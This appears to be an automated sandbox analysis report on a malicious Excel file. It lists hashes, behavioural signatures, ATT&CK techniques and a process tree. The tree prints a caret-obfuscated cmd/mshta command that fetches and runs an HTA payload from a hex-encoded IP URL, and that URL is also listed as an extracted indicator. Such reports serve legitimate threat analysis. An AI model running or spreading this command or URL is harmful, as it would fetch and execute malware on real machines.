Analysis

  • max time kernel
    159s
  • max time network
    197s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28-01-2022 01:47

General

  • Target

    file-103.xls

  • Size

    64KB

  • MD5

    7130dc5fd15280036f66dfe54d6eb342

  • SHA1

    0cbeb6e7c8b92ab7aff6c450ea6cb345ecd39252

  • SHA256

    c2afa3ed6debe7be63cea31c4d1738e0b09d3c16b0c7c26150d3f86ca233d669

  • SHA512

    a22e263c834b4e7ff7805d5126ce11849ede66caa9dfd0f93e07c541507490cdb4ea653eb91eee6b94967c713351882fa1a98c4fdf85cb03987bea3ae10d972c

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xc12a24f5/cc.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\file-103.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1236
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1976
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xc12a24f5/cc.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:1552

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1236-54-0x000000002F641000-0x000000002F644000-memory.dmp
    Filesize

    12KB

  • memory/1236-55-0x0000000070FD1000-0x0000000070FD3000-memory.dmp
    Filesize

    8KB

  • memory/1236-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1236-57-0x0000000074F01000-0x0000000074F03000-memory.dmp
    Filesize

    8KB

  • memory/1236-59-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB